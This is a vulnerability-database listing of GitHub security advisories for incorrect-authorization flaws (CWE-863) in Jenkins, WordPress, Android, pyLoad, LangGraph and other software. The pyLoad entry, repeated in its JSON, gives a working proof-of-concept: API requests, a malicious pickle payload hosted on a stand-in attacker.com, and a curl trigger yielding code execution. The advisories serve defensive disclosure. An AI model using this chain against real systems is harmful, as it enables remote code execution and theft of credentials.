CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
6701 vulnerabilities reference this CWE, most recent first.
GHSA-46P2-FWQG-3H6M
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-06-30 18:52An improper authorization vulnerability exists in Jenkins Git Plugin version 3.7.0 and earlier in GitStatus.java that allows an attacker with network access to obtain a list of nodes and users.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000110"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-30T18:52:28Z",
"nvd_published_at": "2018-03-13T13:29:00Z",
"severity": "MODERATE"
},
"details": "An improper authorization vulnerability exists in Jenkins Git Plugin version 3.7.0 and earlier in GitStatus.java that allows an attacker with network access to obtain a list of nodes and users.",
"id": "GHSA-46p2-fwqg-3h6m",
"modified": "2022-06-30T18:52:28Z",
"published": "2022-05-13T01:48:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000110"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/git-plugin/commit/a3d3a7eb7f75bfe97a0291e3b6d074aafafa86c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/git-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-02-26/#SECURITY-723"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in Jenkins Git Plugin"
}
GHSA-46RG-RHMQ-HQ2R
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19The Post Expirator WordPress plugin before 2.6.0 does not have proper capability checks in place, which could allow users with a role as low as Contributor to schedule deletion of arbitrary posts.
{
"affected": [],
"aliases": [
"CVE-2021-24783"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-08T18:15:00Z",
"severity": "MODERATE"
},
"details": "The Post Expirator WordPress plugin before 2.6.0 does not have proper capability checks in place, which could allow users with a role as low as Contributor to schedule deletion of arbitrary posts.",
"id": "GHSA-46rg-rhmq-hq2r",
"modified": "2022-05-24T19:19:58Z",
"published": "2022-05-24T19:19:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24783"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/de51b970-ab13-41a6-a479-a92cd0e70b71"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-46VV-MMQM-CFV8
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-07-13 00:01Certain NetModule devices allow credentials via GET parameters to CLI-PHP. These models with firmware before 4.3.0.113, 4.4.0.111, and 4.5.0.105 are affected: NB800, NB1600, NB1601, NB1800, NB1810, NB2700, NB2710, NB2800, NB2810, NB3700, NB3701, NB3710, NB3711, NB3720, and NB3800.
{
"affected": [],
"aliases": [
"CVE-2021-39291"
],
"database_specific": {
"cwe_ids": [
"CWE-532",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-23T05:15:00Z",
"severity": "HIGH"
},
"details": "Certain NetModule devices allow credentials via GET parameters to CLI-PHP. These models with firmware before 4.3.0.113, 4.4.0.111, and 4.5.0.105 are affected: NB800, NB1600, NB1601, NB1800, NB1810, NB2700, NB2710, NB2800, NB2810, NB3700, NB3701, NB3710, NB3711, NB3720, and NB3800.",
"id": "GHSA-46vv-mmqm-cfv8",
"modified": "2022-07-13T00:01:37Z",
"published": "2022-05-24T19:11:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39291"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2021/Aug/22"
},
{
"type": "WEB",
"url": "https://www.netmodule.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4744-96P5-MP2J
Vulnerability from github – Published: 2026-04-04 06:43 – Updated: 2026-04-07 20:00Summary
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
Required Privileges
The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
Root Cause
storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Proven RCE Chain
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 — Change download directory to Flask session store:
POST /api/set_config_value
{"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 — Compute the target session filename:
md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.
Step 3 — Host and download the malicious pickle payload:
import pickle, os, struct
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pyload-rce-success",))
session = {"_permanent": True, "rce": RCE()}
payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
# struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/add_package
{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"
The session cookie name is pyload_session_ + the configured port number (__init__.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success
uid=1000(abc) gid=1000(users) groups=1000(users)
Impact
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
- Execute arbitrary commands with the privileges of the pyload process
- Read environment variables (API keys, credentials)
- Access the filesystem (download history, user database)
- Pivot to other network resources
Suggested Fix
Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMIN_ONLY_OPTIONS = {
...
("general", "storage_folder"), # ADDED: prevents session poisoning RCE
...
}
Also correct the existing wrong option names:
("webui", "ssl_certfile"), # FIXED: was "ssl_cert" (dead code)
("webui", "ssl_keyfile"), # FIXED: was "ssl_key" (dead code)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35464"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:43:37Z",
"nvd_published_at": "2026-04-07T15:17:44Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask\u0027s filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** \u2014 Change download directory to Flask session store:\n\n POST /api/set_config_value\n {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** \u2014 Compute the target session filename:\n\n md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** \u2014 Host and download the malicious pickle payload:\n\n import pickle, os, struct\n class RCE:\n def __reduce__(self):\n return (os.system, (\"id \u003e /tmp/pyload-rce-success\",))\n session = {\"_permanent\": True, \"rce\": RCE()}\n payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n POST /api/add_package\n {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** \u2014 Trigger deserialization (unauthenticated):\n\n curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n $ docker exec pyload-poc cat /tmp/pyload-rce-success\n uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n ADMIN_ONLY_OPTIONS = {\n ...\n (\"general\", \"storage_folder\"), # ADDED: prevents session poisoning RCE\n ...\n }\n\nAlso correct the existing wrong option names:\n\n (\"webui\", \"ssl_certfile\"), # FIXED: was \"ssl_cert\" (dead code)\n (\"webui\", \"ssl_keyfile\"), # FIXED: was \"ssl_key\" (dead code)",
"id": "GHSA-4744-96p5-mp2j",
"modified": "2026-04-07T20:00:04Z",
"published": "2026-04-04T06:43:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35464"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33509"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)"
}
GHSA-4754-5J9C-773M
Vulnerability from github – Published: 2022-05-13 01:21 – Updated: 2022-05-13 01:21In checkGrantUriPermissionLocked of ActivityManagerService.java, there is a possible permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android-8.0 Android-8.1 Android-9.0 Android ID: A-111934948
{
"affected": [],
"aliases": [
"CVE-2018-9492"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-02T19:29:00Z",
"severity": "HIGH"
},
"details": "In checkGrantUriPermissionLocked of ActivityManagerService.java, there is a possible permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android-8.0 Android-8.1 Android-9.0 Android ID: A-111934948",
"id": "GHSA-4754-5j9c-773m",
"modified": "2022-05-13T01:21:07Z",
"published": "2022-05-13T01:21:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9492"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/962fb40991f15be4f688d960aa00073683ebdd20"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-10-01,"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105484"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-475V-6WXG-C2RX
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50In Webgalamb through 7.0, system/ajax.php functionality is supposed to be available only to the administrator. However, by using one of the bgsend, atment_sddd1xGz, or xls_bgimport query parameters, most of these methods become available to unauthenticated users.
{
"affected": [],
"aliases": [
"CVE-2018-19515"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-21T16:00:00Z",
"severity": "CRITICAL"
},
"details": "In Webgalamb through 7.0, system/ajax.php functionality is supposed to be available only to the administrator. However, by using one of the bgsend, atment_sddd1xGz, or xls_bgimport query parameters, most of these methods become available to unauthenticated users.",
"id": "GHSA-475v-6wxg-c2rx",
"modified": "2022-05-13T01:50:52Z",
"published": "2022-05-13T01:50:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19515"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2019/Jan/15"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/151017/Webgalamb-Information-Disclosure-XSS-CSRF-SQL-Injection.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4782-6X7J-Q79Q
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14An incorrect permission check in the admin backend in gvfs before version 1.39.4 was found that allows reading and modify arbitrary files by privileged users without asking for password when no authentication agent is running. This vulnerability can be exploited by malicious programs running under privileges of users belonging to the wheel group to further escalate its privileges by modifying system files without user's knowledge. Successful exploitation requires uncommon system configuration.
{
"affected": [],
"aliases": [
"CVE-2019-3827"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-25T18:29:00Z",
"severity": "HIGH"
},
"details": "An incorrect permission check in the admin backend in gvfs before version 1.39.4 was found that allows reading and modify arbitrary files by privileged users without asking for password when no authentication agent is running. This vulnerability can be exploited by malicious programs running under privileges of users belonging to the wheel group to further escalate its privileges by modifying system files without user\u0027s knowledge. Successful exploitation requires uncommon system configuration.",
"id": "GHSA-4782-6x7j-q79q",
"modified": "2022-05-13T01:14:27Z",
"published": "2022-05-13T01:14:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3827"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1517"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2145"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3827"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/gvfs/merge_requests/31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-47C3-M797-88V2
Vulnerability from github – Published: 2026-08-05 18:31 – Updated: 2026-08-06 18:30Improper Authorization vulnerability in Apache Answer.
This issue affects Apache Answer: through 2.0.1.
Any authenticated user can reject arbitrary pending edit-revisions without review permission due to a missing authorization check on the reject operation. Users are recommended to upgrade to version 2.0.2, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-50749"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T16:16:57Z",
"severity": "MODERATE"
},
"details": "Improper Authorization vulnerability in Apache Answer.\n\nThis issue affects Apache Answer: through 2.0.1.\n\nAny authenticated user can reject arbitrary pending edit-revisions without review permission due to a missing authorization check on the reject operation.\nUsers are recommended to upgrade to version 2.0.2, which fixes the issue.",
"id": "GHSA-47c3-m797-88v2",
"modified": "2026-08-06T18:30:36Z",
"published": "2026-08-05T18:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50749"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/ogk461yr4w9o95k15bkjxk2kpbkrbnln"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/05/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47C7-QRM7-MQW7
Vulnerability from github – Published: 2026-07-06 20:16 – Updated: 2026-07-06 20:16The id utility in uutils coreutils miscalculates the groups= section of its output. The implementation uses a user's real GID instead of their effective GID to compute the group list, leading to potentially divergent output compared to GNU coreutils. Because many scripts and automated processes rely on the output of id to make security-critical access-control or permission decisions, this discrepancy can lead to unauthorized access or security misconfigurations.
Zellic finding 3.72. Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "uu_id"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35370"
],
"database_specific": {
"cwe_ids": [
"CWE-273",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:16:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The id utility in uutils coreutils miscalculates the groups= section of its output. The implementation uses a user\u0027s real GID instead of their effective GID to compute the group list, leading to potentially divergent output compared to GNU coreutils. Because many scripts and automated processes rely on the output of id to make security-critical access-control or permission decisions, this discrepancy can lead to unauthorized access or security misconfigurations.\n\n---\n_Zellic finding 3.72. Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
"id": "GHSA-47c7-qrm7-mqw7",
"modified": "2026-07-06T20:16:46Z",
"published": "2026-07-06T20:16:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-47c7-qrm7-mqw7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35370"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/10006"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "id: groups= computed from real GID instead of effective GID"
}
GHSA-47PJ-3JCM-6WHG
Vulnerability from github – Published: 2026-08-06 19:03 – Updated: 2026-08-06 19:03Summary
The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.
Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.
We have no evidence of this behavior being exploited in the wild.
Affected users / systems
You may be affected if you:
- use
PostgresStore/AsyncPostgresStoreorSqliteStore/AsyncSqliteStore, and - rely on the namespace to separate data between users or tenants, and
- have namespace labels where one is a prefix of another (
1and12,aliceandalice2), or labels containing_or%
Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.
Three distinct cases were possible:
- Sibling namespaces. A read scoped to
("foo",)also returned items under("foobar",)and("foo2",). - Unescaped pattern metacharacters.
_and%are legal namespace labels — only.is rejected — but were interpolated into the match pattern unescaped, so("user_1",)also matched("userX1",). - Suffix conditions.
list_namespaces(suffix=("alice",))also matched the sibling leafusers.malice.
This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.
Impact
- Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
- No integrity or availability impact.
get,put, anddeletecompare namespaces with=and were never affected; the issue is limited to read paths.
Patches / mitigation
Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.
On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.
Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.
Compatibility
* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.
Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:
list_namespaces(prefix=["uid"], suffix=["alice"])
Applications whose namespace labels cannot be prefixes of one another see no behavioral change.
Operational guidance
- Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
- Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.
LangSmith / hosted deployments note
Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langgraph-checkpoint-postgres"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "langgraph-checkpoint-sqlite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71433"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T19:03:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (`(\"memories\", \"alice\")` becomes `memories.alice`) and scoped reads by matching that string with `LIKE \u0027\u003cpath\u003e%\u0027`. Because `LIKE` has no notion of the `.` separator, a scoped `search` or `list_namespaces` also matched sibling namespaces whose flattened form shares leading characters.\n\nApplications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input \u2014 an ordinary scoped request was sufficient.\n\nWe have no evidence of this behavior being exploited in the wild.\n\n## Affected users / systems\n\nYou may be affected if you:\n\n- use `PostgresStore`/`AsyncPostgresStore` or `SqliteStore`/`AsyncSqliteStore`, and\n- rely on the namespace to separate data between users or tenants, and\n- have namespace labels where one is a prefix of another (`1` and `12`, `alice` and `alice2`), or labels containing `_` or `%`\n\nApplications whose namespace labels are fixed-length identifiers such as UUIDs, containing no `_` or `%`, are not affected \u2014 no such label can be a prefix of another. `InMemoryStore` compares namespaces element-wise and is not affected.\n\nThree distinct cases were possible:\n\n- **Sibling namespaces.** A read scoped to `(\"foo\",)` also returned items under `(\"foobar\",)` and `(\"foo2\",)`.\n- **Unescaped pattern metacharacters.** `_` and `%` are legal namespace labels \u2014 only `.` is rejected \u2014 but were interpolated into the match pattern unescaped, so `(\"user_1\",)` also matched `(\"userX1\",)`.\n- **Suffix conditions.** `list_namespaces(suffix=(\"alice\",))` also matched the sibling leaf `users.malice`.\n\nThis is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value *was itself* a `LIKE` pattern whose metacharacters were not neutralized.\n\n## Impact\n\n- Confidentiality: disclosure of stored items belonging to namespaces outside the caller\u0027s intended scope, where namespaces are used as a tenant or user boundary.\n- No integrity or availability impact. `get`, `put`, and `delete` compare namespaces with `=` and were never affected; the issue is limited to read paths.\n\n## Patches / mitigation\n\nPrefix scoping now matches the namespace exactly or requires the `.` separator before any remainder, pattern metacharacters in labels are escaped, and `list_namespaces` uses segment-aware matching for both prefix and suffix conditions.\n\nOn SQLite, the descendant match moved from `LIKE` to `GLOB`. `LIKE` is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while `get`/`put`/`delete` treated them as distinct. Search now agrees with them.\n\nUpgrade to `langgraph-checkpoint-postgres` 3.1.1 or `langgraph-checkpoint-sqlite` 3.1.1.\n\n## Compatibility\n\n`*` in a `list_namespaces` match path now spans exactly one namespace segment. This restores the documented behavior \u2014 `NamespacePath` documents `(\"cache\", \"*\", \"v1\")` as \"any cache category with v1 version\" \u2014 and matches `InMemoryStore`. Multi-segment matching was an artifact of translating `*` into a SQL `%` wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.\n\nCallers relying on the previous behavior can express \"match at any depth\" by combining both match conditions, which are ANDed:\n\n```python\nlist_namespaces(prefix=[\"uid\"], suffix=[\"alice\"])\n```\n\nApplications whose namespace labels cannot be prefixes of one another see no behavioral change.\n\n## Operational guidance\n\n- Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.\n- Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.\n\n## LangSmith / hosted deployments note\n\nUnlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to `LANGGRAPH_STORE_BACKEND=python`, which uses `AsyncPostgresStore` from `checkpoint-postgres`. Deployments configured with `LANGGRAPH_STORE_BACKEND=grpc` use a separate implementation that received an equivalent fix.",
"id": "GHSA-47pj-3jcm-6whg",
"modified": "2026-08-06T19:03:12Z",
"published": "2026-08-06T19:03:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-47pj-3jcm-6whg"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/pull/8478"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/commit/66ebe1a0da921e73f0f9f879ba105d314c079f7c"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langgraph"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/releases/tag/checkpointpostgres%3D%3D3.1.1"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/releases/tag/checkpointsqlite%3D%3D3.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
